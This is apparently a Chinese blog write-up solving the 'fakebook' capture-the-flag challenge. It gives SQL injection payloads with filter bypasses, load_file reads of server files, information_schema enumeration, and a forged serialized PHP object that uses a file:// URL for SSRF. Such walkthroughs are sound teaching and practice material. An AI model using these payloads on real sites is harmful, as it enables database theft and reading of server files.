攻防世界:fakebook

打开后注册一个账户,进入个人主页
在这里插入图片描述
发现上面存在注入点,先试一下改点数字
在这里插入图片描述
在这里插入图片描述
发现存在报错
尝试输入

view.php?no=1 and 1=1#
view.php?no=1 and 1=2#
第一个显示正常,第二个报错,确定存在注入

开始注入的测试,第一步查 存在的字段,利用order by联合查询,发现5不存在,所以应该为4位字段数。


view.php?no=1 order by 5#

在这里插入图片描述
接着利用联合查询语句想找哪个字段可以回显利用,为了不让我们构造的select语句与原来语句的结果混在一起,将原语句查询结果置为空(no=2):
在这里插入图片描述
好的被过滤了。
尝试一下用+字符绕过

view.php?no=2 union++select 1,2,3,4#

啊这,就成功了嘛
在这里插入图片描述
发现2可以回显。
构造payload看一下我们的当前数据库用户

view.php?no=2 union++select 1,user(),3,4#

在这里插入图片描述
从别的师傅那边学到

mysql中的load_file函数,允许访问系统文件,并将内容以字符串形式返回,不过需要的权限很高,且函数参数要求文件的绝对路径。这巧了不是,条件全都有。

然后flag就出来了

view.php?no=2 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#

在这里插入图片描述
这应该算是一个非常规解

-----------------------------分割线--------------------------------------------------

还有另一种方式,就是慢慢的注入
接着拿一下数据库的库名

view.php?no=2 union++select 1,database(),3,4#

在这里插入图片描述
利用库名获取表名

view.php?no=2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#

在这里插入图片描述
接着利用库名找表的字段

view.php?no=2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"#

在这里插入图片描述
接着爆破字段

/view.php?no=-6 union/**/select 1,data,3,4  from users#

在这里插入图片描述
发现存在一个序列化的数
大概的思路为,我们输入的信息被保存为序列化,读取的时候会从数据库中取出并反序列化,然后显示在blog界面。
function get($url)获取的blog连接,如果连接失败就404,否则读取文件信息。
所以我们可以通过反序列化来实现ssrf读取任意文件,构造我们想要的路径,然后为了绕过正则,不从注册登录的地方下手,直接人为构造联合查询返回语句,data字段在第四个位置。

/view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' 

在这里插入图片描述
将base64解码后
在这里插入图片描述
得到flag

#参考文章
https://blog.csdn.net/qq_41500251/article/details/105383065

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值